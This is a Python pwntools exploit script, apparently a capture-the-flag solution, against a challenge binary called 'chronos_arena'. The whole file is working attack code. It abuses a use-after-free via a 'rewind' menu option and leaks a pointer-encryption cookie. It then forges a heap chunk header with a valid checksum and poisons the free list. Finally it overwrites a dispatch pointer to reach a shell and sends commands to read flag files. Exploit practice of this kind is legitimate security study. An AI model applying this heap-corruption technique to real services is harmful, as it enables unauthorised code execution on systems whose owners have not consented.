#!/usr/bin/env python3
from pwn import *
import os
import re
import zlib

ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
DEFAULT_BIN = os.path.join(ROOT, "public", "chronos_arena")
BINARY_PATH = args.BIN if args.BIN else DEFAULT_BIN

context.binary = ELF(BINARY_PATH, checksec=False)
context.terminal = ["tmux", "splitw", "-h"]

LEAKED_COOKIE = None


def forge_warrior(data, next_ptr):
    """
    Build raw bytes for overwrite at (name-16) region:
    [checksum|pad|encrypted_next|name(64)]
    """
    global LEAKED_COOKIE
    if LEAKED_COOKIE is None:
        raise ValueError("Cookie is not leaked yet")

    name = data.ljust(64, b"\x00")[:64]
    checksum = zlib.crc32(name) & 0xFFFFFFFF
    encrypted_next = (next_ptr ^ LEAKED_COOKIE) & 0xFFFFFFFFFFFFFFFF

    return p32(checksum) + p32(0) + p64(encrypted_next) + name


def start():
    if args.REMOTE:
        host = args.HOST if args.HOST else "127.0.0.1"
        port = int(args.PORT) if args.PORT else 1337
        return remote(host, port)

    if args.GDB:
        return gdb.debug([BINARY_PATH], gdbscript="continue")

    return process([BINARY_PATH])


class GameInteraction:
    def __init__(self, tube):
        self.io = tube

    def _choose(self, idx):
        self.io.sendlineafter(b"Chronos> ", str(idx).encode())

    def spawn(self, name):
        self._choose(1)
        self.io.sendlineafter(b"Warrior name: ", name)
        line = self.io.recvline().decode(errors="ignore").strip()
        m = re.search(r"Slot\s+(\d+)\s+awakened", line)
        if not m:
            raise RuntimeError(f"Unexpected spawn output: {line}")
        return int(m.group(1))

    def sacrifice(self, slot):
        self._choose(2)
        self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
        self.io.recvline()

    def rename(self, slot, shift, blob):
        self._choose(5)
        self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
        self.io.sendlineafter(b"Rune shift (-16..16): ", str(shift).encode())
        self.io.sendlineafter(b"Rune length (0..80): ", str(len(blob)).encode())
        self.io.sendafter(b"Raw inscription bytes: ", blob)
        self.io.send(b"\n")
        self.io.recvline()

    def scout(self, slot, shift, length):
        self._choose(3)
        self.io.sendlineafter(b"Choose slot: ", str(slot).encode())
        self.io.sendlineafter(b"Scout offset (-24..96): ", str(shift).encode())
        self.io.sendlineafter(b"Vision length (0..120): ", str(length).encode())

        self.io.recvuntil(b"Vision: ")
        hex_line = self.io.recvline().strip().decode()
        leaked = bytes.fromhex(hex_line)
        return leaked

    def rewind(self, anchor):
        self._choose(4)
        self.io.sendlineafter(b"Rewind to anchor: ", str(anchor).encode())
        self.io.recvline()

    def invoke_core(self):
        self._choose(6)


def main():
    global LEAKED_COOKIE

    elf = context.binary
    io = start()
    game = GameInteraction(io)

    target = elf.symbols["g_bridge"]
    oracle = elf.symbols["summon_oracle"]

    log.info("Stage 1: create free chunk and resurrect it via rewind")
    s0 = game.spawn(b"alpha")
    log.info(f"spawned slot={s0}")

    game.sacrifice(s0)

    game.rewind(1)

    log.info("Stage 2: leak SECRET_COOKIE from encrypted_ptr via Scout")
    leak = game.scout(s0, -8, 8)
    LEAKED_COOKIE = u64(leak.ljust(8, b"\x00"))
    log.success(f"cookie = {hex(LEAKED_COOKIE)}")

    log.info("Stage 3: forge warrior header and poison free list")
    forged = forge_warrior(b"time-smith", target)
    game.rename(s0, -16, forged)

    s1 = game.spawn(b"reclaim-1")
    log.info(f"reclaim spawn slot={s1}")

    s2 = game.spawn(b"bridge")
    log.info(f"poisoned spawn slot={s2}")

    log.info("Stage 4: overwrite Chronos dispatch pointer inside forged allocation")
    payload = b"A" * 24 + p64(oracle)
    game.rename(s2, 0, payload)

    log.info("Stage 5: invoke dispatch and get shell")
    game.invoke_core()

    if args.INTERACTIVE:
        io.interactive()
        return

    io.sendline(b"id")
    io.sendline(b"cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt")
    io.sendline(b"exit")
    print(io.recvrepeat(1.0).decode(errors="ignore"))


if __name__ == "__main__":
    main()